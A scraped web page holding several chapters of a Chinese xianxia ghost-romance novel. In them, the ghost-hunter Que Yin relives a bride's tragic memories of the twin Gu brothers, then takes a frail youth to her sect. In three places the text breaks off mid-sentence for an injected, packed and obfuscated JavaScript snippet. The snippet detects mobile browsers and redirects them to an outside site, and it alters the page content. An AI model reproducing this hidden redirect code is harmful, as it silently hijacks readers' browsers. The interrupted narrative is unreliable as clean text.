阿音施法收回黑蝶,眼前的一切事物渐渐模糊,雾气笼罩中,她抓紧星辰的衣袖,眨眼的功夫,二人已回到了曲府,屋檐上的发带同时回到阿音宽袖中,曲若怜的回忆也将继续。 星辰身形摇晃,死死抱住阿音手臂不放,他身体有些颤抖,将脸埋在阿音的宽袖中,哆嗦道:“我有些害怕。” 阿音沉默,将手臂慢慢抽回,星辰便抱得更紧,她只好放弃,语气淡淡:“我袖中有糕点,你拿出来尝尝。” 星辰愣了一下,听话的在阿音袖中摸索,触及有些不软不硬的东西将其拿出,隔着一层油纸,都能感觉到糕点的凉意,星辰并不意外,他终于放开手臂,麻利地拆开外面一层,里面装着五个祥云花纹的黄色糕点。 星辰拿起糕点,轻咬一口,细嚼慢咽,方才不适之感竟瞬间消失,通身舒畅得犹如在白云间遨游。 阿音笑容浅浅,问道:“如何?” “好吃。” 他略微抬头瞥了她一眼,瞬间怔住,自以为藏匿起来的疑惑吃惊这一刻都被她看的一清二楚,似乎他在想什么她都一清二楚,看透不说透,却也不会让人产生厌恶。 * 曲若怜跪在父亲榻前,磕头谢恩。 她看着父亲鬓角银丝,眼眶湿润,竟什么话也说不出口了,只握住他的手,像儿时那般,蹭了蹭。 曲老爷摸摸她的头,拍拍她的背,“做好决定,只管向前走,爹希望你做一个无怨无悔之人。” 曲老爷不是不知女儿的心思,顾峥她无法嫁,那么只能嫁给和顾峥长得一模一样的顾涣,看到顾涣,犹如看到顾峥。 为了能看见那张脸,为了能离他再近一点,曲若怜应了这门亲事。 无忧镇的荷花开得最好,夏日盈盈,碧色荷叶在湖面铺展,红粉荷花夺人眼目,姿态冷艳,情意绵绵。 八月初五,曲家女嫁顾二公子。 无忧镇许久不见喜事,还是乐善好施,济困扶危的顾家和曲家,在无忧镇没有那么多的规矩,但凡来了,皆请上座,二府一时之间座无虚席。 阙音透过曲若怜的红盖头,见她红衣丹唇,眉目如画,然而眉眼冷静,丝毫不见羞涩与笑意。 站在身侧的顾涣仪态从容,喜形于色,看起来有些憔悴。 苍穹昏暗,繁星满天。 这一拜,她与爱慕终止。 这一拜,她与爹娘告别。 这一拜,她与顾峥决绝。 4. 无忧镇(4) 夜静灯残,酒阑客散,阿音与星辰站在月光下,看着曲若怜踏入深渊火海,落入绝境。 星辰不知从哪里拿起一块鸡腿,狼吞虎咽,又倒满酒盏,凑到阿音嘴前,“喝吗?” 阿音摇摇头。 星辰笑嘻嘻将酒喝下,十分尽兴,忽然之间感到天旋地转,几乎就要倒下去,阿音似乎早已预料,及时接住他,“忘告诉你,这里的东西不能碰。” 星辰意识模糊却听得见说话,他脸色通红,指着阿音,手却渐渐无力下垂,倒在僵硬的怀里。 曲若怜早早屏退下人,独自静静坐着,阿音将昏睡的星辰放在曲若怜内室的角落靠坐着。 大约一盏茶的功夫,顾涣来了,确切地说应该是顾峥。 顾峥神色困倦,一身酒气,坐在了曲若怜身旁,曲若怜双手交叠,安静温婉,秀丽端庄。 顾峥伸手想要揭开盖头,却停住了,白皙脸庞带着微微笑意,他凑近曲若怜的耳旁,欲张嘴说话。 阿音想听得仔细点,往前走,被旁边醒了半眯着眼睛的星辰拉住手,“一个人看多没意思。” 不等阿音反应过来他说了什么,星辰已经牵着她几步跑到二人眼前,有那么一瞬分辨不出到底是顾峥还是顾涣,因为顾峥的泪痣没有了。 顾峥柔声道:“你别害怕,我不碰你。” 当下的人如果是顾涣,估计也会这样说,只是顾涣大概是不想碰,而顾峥是不能碰。 想碰却不能碰,这是顾峥与曲若怜的宿命。 顾峥静静地看着曲若怜,如果曲若怜此时抬头,定能瞧见顾峥眼中的忧伤柔软,只是她并未抬头,甚至一动不动,一声不响。 就当顾峥以为曲若怜不会回应他时,她冷肃道:“多谢二公子。” 如阿音所料,曲若怜不知眼前人便是自己爱慕了多年的顾峥,相似的脸近在咫尺,曲若怜并没有主动看一眼。 顾峥收敛所有神情,思索片刻,顿了顿道:“今夜过后,人前莫不可再叫我二公子,叫我阿涣便是。” 曲若怜没有答话,顾峥不再看她,起身往前走了几步,而后停下,烛火摇曳,他的侧脸如月光般柔和,身姿显露无边落寞。 他缓缓道:“家中规矩不比从前严苛死板,母亲担忧你在此住不惯,特意安排了新的府邸,明早问安后,我们就启程。” 他说这些话,仿佛只是在告诉曲若怜,丝毫没有要与她对话的意思,言罢,缓步离开。 阿音不得不承认,自打顾峥身体恢复如常,身份对换的那一刻起,举止言谈竟比顾涣还像顾涣。 曲若怜掀开盖头,双手因紧张而微微颤动,她脸色白得不成样子,更显得唇红如血,嘴紧紧地抿着,好像要将所有要说的话都压下去,不肯认输。 曲若怜看见大红的喜字,只觉喜字在烛光中愈发的孤寂,失了魂般躺在绣着鸳鸯戏水的锦被上。 她蜷着身子,绣鞋搭在床沿,她不安地往角落移动,摸到一颗红枣,接着是花生,便就这般攥在手心,紧闭双眸。 自那夜过后,曲若怜和“顾涣”心照不宣,按最初的意思,那便是相敬如宾。 府中下人都道夫人知情达理,态度温和,平常对他们也是体贴照顾,一些原本存了戒备之心的也接纳了这位女主人。 不过日子久了,下人们也能发现端倪。 比如夫人经常独自一人在池边赏花,一待就是好几个时辰。 比如夫人与二公子每日用膳时,夫人总是冷冰冰的。 比如夫人与二公子并不同床共枕。 这样的事情多了,嚼舌根的自然也就多了,曲若怜即便再两耳不闻窗外事,也会有听到的那一天,也因为听得多了,原本对顾涣不搭不理变得渐渐留意起来。 曲若怜发现,不管她以何种态度对待顾涣,他总是带着淡淡的笑意,双眸也没有复杂的让人看不懂的情绪。 有时她故意装作冷淡模样,同一屋檐下,也离他远远的,顾涣还是眉眼弯弯,丝毫不生气。 开始她讨厌这笑容,她不知顾涣竟那么爱笑,一刀一刀剜她的心,相处一段日子后,她倒也不是很厌恶这笑容了,似乎成了习惯,心中排斥渐淡。 也或许是曲若怜改观态度明显,顾峥找准时机,在一个天气晴朗的日子里,顾峥携了曲若怜去郊外骑马。 曲若怜身为大家闺秀,自然是不曾骑马,她蹙眉退后,心中畏惧。 顾峥早已坐在马背上,一只手远远拉着缰绳,身前空荡,明显为曲若怜而留。 他唇角勾了勾,弯下身子,伸出结实手掌,曲若怜犹豫片刻,小掌覆大掌,被顾峥拦腰抱了上去。 身体相贴,曲若怜脸色通红,而顾峥却并不在意,策绳而去。 途中,她虽看不到身后人的脸,却也能感觉到他的愉悦,马儿逐渐步入幽深林子,曲若怜生出一股烦躁之感,她心中突然浮现一身蓝衣的身影,又想到此刻身后的人,顿时有些喘不过气。 她无力又焦急对顾峥道:“停下,我要下去。” 顾峥听见她所说,缓缓拉了缰绳,停了马,身子往后退半步,与她拉开距离,先行一步下了马。 他朝曲若怜伸出一只手掌,“下来。” 语气听起来有些冷意,却也不见生气。 她未曾废力,下了马只觉毫无力气,待回过神,才发觉周围的景色。 这里是……苍岭山庄? 自从花灯节过后,她再没见到顾峥,顾涣为何带她来此? 曲若怜低着头,收敛内心波动,手指轻轻缠绕着衣袖边缘。 顾峥自地上捡起一根树枝,拂去灰尘,递到她眼前,眼睛弯弯,“去看看哥哥,山上路滑,握紧了。” 曲若怜想从他眼中看出点别的情绪,可惜没有。 一路无话,走到青石台阶,顾峥走在前面,不知怎的,曲若怜总觉得他瘦了,跟她心中那个人的背影几乎重叠。 她摇了摇头,刹那间,顾峥没踩稳脚下的路,向后倒去,曲若怜连忙稳住身子接住他,他的手同时间抓住身边的树枝,又急切甩开。 曲若怜一看,那树枝上竟有倒刺。 顾峥站定,掀开衣袖,手腕处有一道明显的伤痕。 曲若怜掏出帕子,将伤口裹住,淡淡道:“流血了。” 顾峥抬眸看她,眼中笑意更浓,“多谢。” 不多时,到了烟 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15187085|165497||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 渺阁。 已入十月,天气有些凉了,院中树叶枯黄零落,顾峥的门关着,有小厮前来,将门缓慢打开。 从外面看去,屋内十分空旷,曲若怜脚步沉重,随着“顾涣”走到床榻前。 薄如蝉翼的纱帘在微风中轻晃,曲若怜看出“顾峥”穿着浅色衣裳,正对着他们盘腿坐着。 顾峥坐下小厮拿来的矮凳,关怀道:“哥哥近来可还好?我和阿怜来看你了。” 曲若怜浑身僵硬,视线根本移不开帘子后的人,她缓缓坐下,垂了眼眸。 帘后的“顾峥”始终不作声,这在曲若怜心中,是顾峥不待见她。 顾峥从不喜欢她。 她苦涩地笑了笑,声音比方才嘶哑,“兄长好。” 阙音摁住心口,这种感觉已经很久没有出现过了,似有万千蚂蚁在啃咬,欲流泪却流不出一滴。 星辰站在床边,透过纱帘看床榻上的“顾峥”神情淡漠,嘴角扬起一抹嘲讽的笑。 曲若怜站起身,朝身旁的“顾涣”幽幽道:“我有些不舒服,想去休息。” “好,小心些。” 她往外走了两步,突然转过身,朝床榻而去,“顾涣”眼神显而易见慌了一下,但见曲若怜停住,只是站在帘子外,神色才渐渐恢复如常。 曲若怜伸出细白五指,在离帘子一指间顿了顿,而后放下。 她与顾峥,就像这样,永远被一层东西隔开,她还是喜欢他,喜欢得不能自已。 然而,她有些倦了。 “兄长好好养身子,若怜就不打扰了。”她轻声细语,听不出一丝温暖,反倒冷冷的。 曲若怜转身离去,在小厮带领下去往偏房休息,“顾涣”此时站起来,走至床边,低垂着眼,闭上眼睛,“涣儿,换回来吧,我不想骗她了。” 顾峥脱去外衣,不等顾涣起身,便躺进被窝里,似是累极了。 顾涣仔细端摩兄长的表情,他微皱眉,看向曲若怜离开的方向,长长的眼睫垂着,语气飘渺,“哥哥当真决定好了,不后悔?” 顾峥半晌无话,顾涣发觉顾峥在发颤,一把掀开被子,顾峥脸庞异常的白,额间布满细汗,他紧咬嘴唇,似在忍受巨大痛苦。 顾涣心一沉,视线落在顾峥的双腿,他褪去顾峥足衣,原本该是正常肤色的腿此刻青紫肿胀。 顾涣深吸一口气,冷静外表下手不可控制的发抖,“外面的人都说,顾二公子自成亲以来,爱上了骑马,哥哥从未接触过马儿……” “为了一个女子,不要命了。” 顾峥闭着眼睛,扯回被子盖好,苦涩笑道:“我这样的人,怎敢妄想,我想要自由,不过是自由罢了。”叹了口气,“涣儿,虽然我不知你的意图,但请你,好好待她。” 顾峥嘴角苦涩变成温柔笑意,“以后,不要再来山庄了。” 黑蝶再次盘旋在阙音身旁,阙音似才缓过神,用指尖碰了碰黑蝶。 星辰看着黑蝶,撇撇嘴道:“原来这就是真相。” 黑蝶的颜色再度变浅,有微末的地方已变得透明,扑扑翅膀,耷拉在阙音肩头。 离曲若怜的心结被完全解开,很近了。 5. 无忧镇(5) 在山庄住下的曲若怜独自一个院落,这几日,她不是站在树下听风望月,就是站在池边发呆。 换回身份的顾峥将自己锁在屋里,而顾涣守在屋外,身子绷得笔直。 第五日,回府。 途中气候突变,二人都淋了一场大雨,曲若怜没感染风寒,顾涣倒是病倒了。 曲若怜站在床边,端着一碗热乎的姜汤。 她眼眸毫无光泽,站了许久,始终没有上前。 一旁的丫鬟见曲若怜神色,颤巍巍上前,接过碗,叫醒顾涣。 曲若怜看着顾涣醒来,再喝完姜汤,眼中闪过嘲讽。 既然顾涣也是如此弱不禁风,为何当初她不能嫁给顾峥? 她心中有气,转身便离开。 * 一阵薄雾弥漫,阙音和星辰已身处书房。 顾涣一身素色衣裳,执笔画着什么,在他前侧方,曲若怜傍着暖炉慵懒端坐着。 曲若怜脸色不大好看,郁郁寡欢,她知道顾涣在画她,可她不愿同他说话,也就不会让他停下。 她偶尔暼顾涣一眼,见他仍旧如之前一般,嘴角总挂着淡淡笑意,可她总觉得哪里怪怪的。 时间过得太快,离上次看望顾峥已过去两月,她已经很少梦到顾峥,有时,她的梦境里还会出现顾涣,他穿着玉色锦衣,摘下一朵鲜花,送给她,眼中情意快要溢出。 曲若怜握紧拳头,指尖掐进手心。 这两个月,顾涣一有空不是在写诗就是在画画,每次落笔前,都待在她身边,她有意去看,落款皆是——吾妻若怜。 * 周身景色再次转变,夜色浓郁,府中下人乱做一团,他们手中,拿着丧幡。 顾峥死了。 曲若怜和顾涣回到顾府,于灵堂跪着,正中间,摆着一口黑漆木棺材。 曲若怜见到了父亲,她于一旁悄然抬头望去,父亲正用袖子擦去眼角的泪,她直愣愣地看着,直到父亲与她对上目光,连忙低了头。 这么多年,她从未见过父亲流泪。 第三日,曲若怜的心感到麻木。 若说悲伤,她却无泪;若说不悲伤,她的心在微微地疼。 她知道有这么一天会到来,可她总在欺骗自己,不会有这一天的。 身边哭声逐渐淡去,晚风打在她脸上,也不觉冷,她默默跪着,盯着地面,自始至终没有抬头。 不知过了多久,曲若怜在下人搀扶中回到房间,门被关上的同时,顾涣醉兮兮从里面走出来,她顿时呆呆地注视着他。 就是这张脸,让她魂牵梦萦,也将痛苦一生。 她踉跄走近他,望着他许久,抿着嘴唇,眼泪大颗落下,颤声道:“他死了。” 良久,顾涣扔掉酒杯,用宽大的肩膀缓缓环住她,手却没有触碰。 顾涣抬手欲擦去她的眼泪,她抬起头,视线转移到他的手。 忽然,她抓住顾涣,神情严肃。 那是一只洁白修长的手,完全没有瑕疵可言,但她记得,那日被倒刺划过的手腕,并不长这个样子。 曲若怜瞳孔聚缩,心犹如被掏空般无措,急忙甩开顾涣,退后两步。 顾涣神色如常,十分淡定,“你发现了。” 曲若怜被这一句话彻底惊住,身子不稳,跌倒在地。 她早该发现的。 她为何没能认出来。 花灯节那日,她明明一眼就认出来了。 她想起婚后顾峥的举动,那般自信从容,又怎会是她印象中孤寂的顾峥呢? 顾涣突兀地笑了一声,“痴情人都是这般么?”转而语气变冷,“你真的爱他吗?他站在你面前,你居然认不出。” 曲若怜很少哭,从小失去娘亲她也没怎么哭,可现在她的眼泪丝毫不受控制。 顾峥的笑容一直浮现眼前,像在嘲笑她的痴情。 “我与哥哥不同,他生来重情重义,而我薄情寡义。”顾涣不再看曲若怜,走至窗边,打开,任冷风灌进来。 曲若怜双眼通红,撑着手臂站起来,质问顾涣:“你为何要这样做?就为了看我笑话?” 顾涣摇摇头,转过身,对她浅笑,“不是成全你们吗?” 他收敛笑容,薄唇微动,“很多时候,我都恨自己无能,哥哥时日无多,这是我唯一能为他做的事情……他最终还是不忍心再骗你……” 他从宽袖中取出一沓画纸,“这些都是哥哥那段时日的画作,现在物归原主。” 曲若怜紧握的手终于松开,颤抖着接过。 第一张,是她大婚夜端坐的样子。 第二张,是她同他用膳的冷漠样。 第三张,是她与他站在屋檐下,厌恶远离他的样子。 第四张,…… …… 每一张,她都不曾待见他。 每一张,落款皆是——吾妻若怜。 吾妻,若怜。 顾涣道:“我也想看看,你会不会认出哥哥来,可惜。” 曲若怜久久不出声,泪水在她脸颊上逐渐干涸,只听她凄厉道:“顾涣,你知不知……” 她顿住,“你这种人,迟早会迎来报应的。” 顾涣皱眉间,曲若怜跑了出去。 天轰隆隆下起雨来,曲若怜将画作连忙收进怀里,哆嗦的腿几乎站不稳,一道惊雷划过,曲若怜摔倒在地,手心被乱石擦出血痕。 她突然大笑不止,刺耳笑声和大雨混为一体。 “顾峥,为何连你也要骗我?” 无人回应曲若怜,顾涣及时追了上来,曲若怜瞧见,狠厉暼了他一眼,站起来,朝灵堂快速跑去。 可是就这么近的一段路程,曲若怜感觉永远也到不了顾峥身边了,她蓦地喷出一口鲜血,晃了晃神,又是一大口鲜血吐出,滴落至衣襟。 她伸手抚摸怀中的画,想起那个夜晚,河对岸的蓝衣顾峥仓皇逃离,一条河,隔着永远。这场梦,终于结束了。 有仆人尖叫,“来人啊,快去请大夫!” 顾涣猛然停住脚步,呆愣在雨中。 那夜,他偷偷带哥哥出门,他瞧见,曲若怜和丫鬟在河边放花灯,她笑着朝他打招呼,他高兴招手回应,没曾想,她眼中只有顾峥,根本没有看见他。 他一直都知道自己与她有婚约,他觉得像她这样的女子,根本不可能懂得爱是什么,所以他步下这盘棋,一来成全哥哥,二来试探曲若怜的真心。 他没想到,曲若怜会出事的。 他大步走到她身旁,蹲下,声音发颤,“你、再等等……大夫马上就到了。” 曲若怜躺在地上,嘴角流着鲜血没有停过,目光冷静又涣散,说出的话令人心惊,“不用……你救我……” “爹,我悔了……对……不……起……” * 阙音心口一阵一阵疼,从前收的那些厉鬼,就算是为情所困,也不会给她带来这般感受,因为,这是她第一次进入厉鬼回忆。 她没有心,却感受到了无数情绪。 生前的某些情绪回来找她了。 一直站在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15187086|165497||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 身旁的星辰默不作声,只是牵着她的衣袖,她抬眸,空中一道紫光进入眼中,眨眼的功夫,退出了曲若怜的回忆。 曲若怜被解开封印,死白的脸竟微微有了血色,她对着幽静的河畔,恍惚一笑。 浓厚的厉气在曲若怜眼中穿梭,阙音默默将星辰推到身后,施了结界,将她和星辰隔开,此结界,能使外面的人被定住。 曲若怜退后两步,腰背挺直,不再有之前的恐惧神色,她道:“我生前有诸多遗憾,我想杀了顾涣,还想看看父亲,以及,我不想忘记。” “经历这一次回忆,我已然放下,自愿回鬼域,接受惩罚。” 阙音伸出右手,露出掌心,一块暗紫色令牌突然显现,递给曲若怜,“你带着它回鬼域,即刻转生罢,你的惩罚,免了。” 曲若怜身子一颤,“大人为何帮我?” 阙音盯着地面深雪,摇摇头,“我没有帮你,下一世,你不一定是人。” 曲若怜温柔笑着,“如此更好。” 阙音眼睫一动,轻声道:“你且去罢。” 曲若怜对阙音施了厚重一礼,瞬间化作烟雾散入夜色里。 结界消失,阙音拉开星辰牵着自己衣袖的手,眸色探究,问:“你还好么?” 星辰捂住胸口,撇嘴,眼睛湿漉漉的,“心跳得好快,方才那一幕,属实吓着我了。” 阙音想了想他说的话,他说的是曲若怜的死。 曲若怜不是自尽。 她对顾峥的执念郁结在心,早已成了心魔,经此一遭,无力回天。 星辰以为阙音还会如同在结界里那样,给他糕点平复心情,谁知,阙音像是想到什么,脸色突变,她肤色本就很白,此刻愈发白了。 星辰胸口很疼,他不止胸口疼,几乎全身都疼,他一旦碰到鬼魂,体内压制的恶鬼就变得躁动不安。 阙音不知从哪里变出一张五弦琴,琴身上的花纹十分古朴,不似现如今流行的纹样。 “修道者会选择适合自己修炼的灵器,虽然我不喜弹琴,但我确实同它最契合。”阙音语调清冷,整个人也散发着冷意。 星辰干笑两声,道:“巧了,我也不喜弹琴。” 阙音微微一怔,转身去往空旷之地。 她衣裙厚重,走路却踏风般轻盈,随意在一处坐下,开始弹奏。 星辰一瘸一拐走到一棵树后,终于忍不住疼,将身子重心放到树干上。 飘渺琴音似乎来自遥远的神秘之地,声声打在他的心头,他能感觉到,体内恶鬼逐渐平复。 这个少女,究竟是什么来头? 站在她身旁的那位白衣少年,和她穿的都是仙门荒歧的衣服,并不是最厉害的仙门之首——泽生。 泽生若有这般强大的力量,也只有掌门钟离乐一人了,她居然和钟离乐旗鼓相当。 星辰的神情变化皆被阙音看在眼里,然而她此刻,想的是前世那个人。 那个人,和眼前少年,相貌不同,性情也不同。 阙音闭了双眼,琴音由缓入急,耳边传来熟悉的声音,清冽如冰。 “殿下,这支琴曲,臣只教这一次,你用心记住了。” “琴师,你的声音真好听,若是歌一曲,我必定终生难忘。” 后来,她再也听不到他的声音。 琴音猛然停止,阙音嘴角扯出一丝若有若无的苦笑,她抬眸看树后少年。 少年一手扶着树干,完全走到她的视线里,他的身形,似乎比之前高了些,他缓步走向她,倏地,重重倒了下去。 6. 荒歧(1) 阙音收回琴,小步走至星辰身旁,蹲下,扶他起来。 他在厉鬼回忆中待的时间不长,但终归是凡人,与鬼魂接触,身体定会受损,她的琴音灌注了神力,能暂时平复他的魂魄。 少年瘦弱,她直接利落背起他,星辰的头倒在她肩头,睡得正香。 夜风下,她稳步前行,檐上花灯照着脸庞,柔和娟丽。 阙音带星辰到一处寂静的宅子,这是顾老爷给的报酬。 她是鬼,既不用吃东西,也不用睡觉,白觉下山历练比她更需要休息之地,此处,便是白觉在山下的家了。 她将星辰轻轻放置床榻,盖好被子,留了一盏灯,出发顾府。 阙音身影鬼魅,瞬间就到了白觉面前,白觉此刻正坐在顾涣的床边,眼睛直愣愣地盯着顾涣。 阙音知道他在打瞌睡,她的徒弟不喜欢超过戌时睡觉,现下,已是丑时。 顾涣早已入睡,他眉头紧锁,灰白肤色下,眼眶青黑。 她自桌边悠然坐下,指尖敲打着桌面,烛光逐渐微弱,即将灭掉,白觉清醒过来。 他转头起身,跨步来到桌前,“师父,你来了。” 阙音看他困倦神色,若有所思,“去叫醒顾老爷,天一亮,我们回荒歧。” 白觉对阙音的命令向来唯命是从,此刻却有了疑惑,“回宗门?我这才下山……” “救人。” 听闻,白觉没再问,转身就走。 阙音小步走至顾涣旁边,声音清清冷冷,“顾涣,起来了。” 她的嗓音不大,却穿透顾涣的梦境,将人生生叫醒。 顾涣醒来,怔怔地望着她。 “我是白觉的师父。”阙音解释道。 顾涣不作声,手指握紧被角,又松开,他眼眸黯淡无光,死气沉沉,试探性问她:“她怎样了?” 顾涣的声音如同老了二十岁,阙音皱眉,“她很好。” 顾涣眼眸这才恢复了些光泽,喃喃自语,“那便好……” “她不会再来纠缠你,你还要寻死么?顾涣。” 顾涣不答,凝视着自己手腕。 “人总是在后悔,你若要死,我不拦着。”阙音说完,听到脚步声,身子一顿,隐到房梁上。 顾老爷步履匆匆,踏入房中,见顾涣醒着,却痴痴的,他几步就到了床边,握住顾涣的手,颤声道:“涣儿,别再做傻事了,你若不活,爹娘也活不成了!” 顾涣极速地笑了一下,犹如被抽干了力气,“死?死不了了。” 顾老爷听了,露出又哭又笑的表情,“如此便好,如此便好。” 站在门口的白觉,突然出声,对顾老爷道:“顾伯伯,那厉鬼已被我师父收拾,你们安心修养,我有要事,就不作陪了。” 顾老爷疲惫点点头,“代我谢过仙师。” 白觉视线撞上阙音一瞬,默契地大步离去。 白觉走出顾府外时,阙音已站在门口,二人一转,回到白觉家中。 这一路,白觉都没有问阙音,到底要救谁。他自八岁那年被阙音救下,再被带回宗门收为弟子,便对阙音百依百从。 当他看到坐在桌边的少年时,眉头还是稍微皱了一下。 星辰已然恢复如常,他手中捏着茶杯,看到归来的阙音,露出一口白牙傻笑,十分乖巧。 白觉突然记起自己还穿着阙音的狐裘大氅,连忙脱下,要帮阙音穿上。 阙音却抬起手,摇摇头,面无表情道:“给他吧。” 白觉顿在原地,瞧少年确实穿着单薄,衣服上还缝着补丁,不免同情几分,遂将狐裘放置桌上。 阙音问星辰,“你可要随我去荒歧?” 星辰眸中生出点亮光,“我可以去吗?” 阙音没说话,走了出去,星辰眨了眨眼,不知所措。 白觉口气生硬道:“你快穿好衣服,师父要启程了!”说罢,并不等星辰,离开屋内。 星辰目光移至狐裘,好一会,才穿上身,走出屋外,一圈淡蓝色光泽散发于整个院落,白觉站在变大好几倍的灵剑上,他站在最前方做出御剑姿势,等着身后的人。 星辰朝两旁看了看,并未见到阙音。 白觉看出他的疑惑,“师父早已离开,快别磨蹭了。” 星辰撇撇嘴,站上剑身,冷淡道:“哦。” 飞行至高空,白觉以为少年会害怕,会站不稳,他回头一瞥,少年只是低着头,静静看着狐裘上的白毛随风摆动,出奇的平静。 不过一会,到了荒歧。 落了地,星辰打量着周围景色,山上山下尽是茂密树林,还可听见瀑布飞流之声。 白觉在一旁将剑收回剑鞘,见星辰裹紧狐裘,眉间一拧,“师父命我将你带到后山,你在此等候罢。” “好。” * 阙音赶至后山时,星辰还穿着她的狐裘大氅,荒歧离无忧镇有几百里的距离,无忧镇还在下雪,而荒歧已是开春。 少年站在瀑布下,身姿落寞,听到她的脚步声,转过身来,双眸有了笑意。 阙音走近他,“久等了。” 星辰摇摇头,咧嘴笑着问道:“姑娘带我来此,意欲何为?” 他已得知她的身份,却没有唤她仙师。 阙音望着瀑布下方的水潭,清幽透净,回答道:“此潭可修复你的孱弱体质,每月内,你需在潭中泡上二十四个时辰,三个月后,再来找我。” 她从腰间扯下一枚银质宛若月亮的配饰,递给他,“拿出这个,自会有人为你带路。” 星辰收下,眸中划过微光。 他欲言又止,阙音却已潇洒般大步而去,雪白衣裙被风吹起涟漪。 光阴似箭,一个月过去。 星辰和送衣物吃食的弟子渐渐混熟,后山的一草一木都十分熟悉,入潭水也成了习惯。 一开始下水,他是非常抗拒的。 过了几日,他才逐渐适应,这潭水看似平平无奇,实则会让身体气血运行变得流畅,他被关押的那些日子,成为了一个病弱残躯,直到逃出去后也没有好转。 现在,大大不同了。 传闻仙山灵气充裕,果然如此,若是他也能如常人修炼该多好,而不是…… * 阙音在藏书阁住了三个月,几乎 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15187087|165497||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 无人敢打扰。 她是宗门唯一的琴修,法术高强,她的师父是比掌门辈分还要大的青封长老。 与她相同年纪的弟子,还在苦苦修炼,而青封长老闭关前,她便收了弟子。 全宗门的弟子无人不崇拜阙音。 阙音向来独来独往,高冷淡漠,不易接近,至此,他们连上前打招呼都不敢。 阙音将手中古籍合上,揉了揉额角。 她走到门边,欲打开门出去,一道强劲的符光将她推开,她退后两步,抬头,一张被放大的符咒正闪着金光,逼向她眼睛。 好强大的符咒,竟然可以伤了她。 会是谁? 阙音施法点燃符咒,没曾想火苗顿时四溅,架子上的书瞬间烧了起来,这火势来势匆匆,眨眼的功夫,置身火海。 外面传来弟子救火的呼叫声。 令阙音不可置信的是,这符咒竟是一道结界,将她关在里面,既出不去,也灭不了火。 阙音眸中冷意渐浓,不到逼不得已,她不会使用神力,每使用一次,神力便会越来越少,身体也会越来越虚弱。 指尖一挥,所有火光瞬间熄灭,藏书阁浓烟滚滚,呛入她鼻间,阙音昏头转向,扶住未倒的书架,咳嗽两声。 “让开!” 熟悉的声音使得她心里一颤,她抬眸,星辰站在她面前,三个月过去,少年似乎又长高了些,垂着的青丝也长了,他穿着宗门弟子的衣服,显得格外清丽俊逸。 下一瞬,她被星辰抱起来,蹙眉不语。 星辰大步带她走出藏书阁,阙音感到视线变得明亮,周围弟子面面相觑,不敢则声。 白觉赶上前,连忙带着星辰来到一间卧房,阙音被放下的同时,她转了身子,背对着二人,自己盖好被子,闭了眼睛。 这一下来得突然,阙音本想思考事情的来龙去脉,却是昏迷了过去。 待醒来时,她看着星辰半边脸靠着床榻,握着她的手,面容平和,呼吸均匀。 她呆了半晌,冷不丁地抽出自己的手。 星辰被惊动,睁开双眼,清澈的眼睛里满是高兴,“你醒了。” 阙音坐起来,撇过头,冷道:“你出去罢。” 星辰似是没有听到她的话,又靠近她一些,她看着凑近的脸,连忙退后,眉梢染了怒意,大声道:“你出去!” 星辰愣了一下,随即听话地走开。 阙音很久没有动怒了,她看见他眼底的东西,心里又惊又惧。 她无法确定那是什么,但,只要有一丝丝的可能,她都要亲手了断。 星辰站在屋檐下,低垂着眼,双手拢袖,神情莫测。 白觉方才听到了他们的对话,思索片刻,他眉眼间异常冷静,走到星辰身旁,轻叹一声,道:“师父从来不是一般人,任何人与她都犹如隔着两重山,我在她身边这么多年,亦是如此。” “放下那些不该有的心思罢。”白觉拍了拍他的肩膀,劝道。 星辰笑了笑,似是自言自语道:“什么心思?” “你……不知我说的是什么心思?” 星辰抿唇,“不知。” 7. 荒歧(2) 白觉哑然失笑,几个大步消失在星辰的视线里。 星辰伸出手心,无聊地看着掌纹。 心思?蓄意接近算不算? 这少女看着和他差不多大,却有一身好本事,是一把复仇的利刃。 屋内的阙音捧起双手,将脸埋在手心,沉静许久。 是她过于紧张了。 她坐了一会,直到心中波澜不再,起身出了房门。 少年身子半倚栏杆,双手抱胸,轻闭眼,似在浅睡。 阙音朝他走过去,低声道:“抱歉,我不太习惯别人靠近我……方才是我激动了。” 星辰不语,阙音以为他生气了,不知所措,故而就要走,星辰回应道:“你这人,怎么老是道歉。” 阙音神色一顿,陷入沉默。 星辰白皙的脸粲然一笑,身子站直,“仙师,你还记得,会答应我一个心愿吗?” “记得。”阙音很干脆。 什么心愿,她都会答应。 三个月,少年脱胎换骨,不像初见那天,昏黄的衣,苍白的脸。 阙音很少照镜子,她偶然从镜中看见自己的脸,无端被惊住。 那是一种死气沉沉的白,深入骨血里的白,毫无生气。 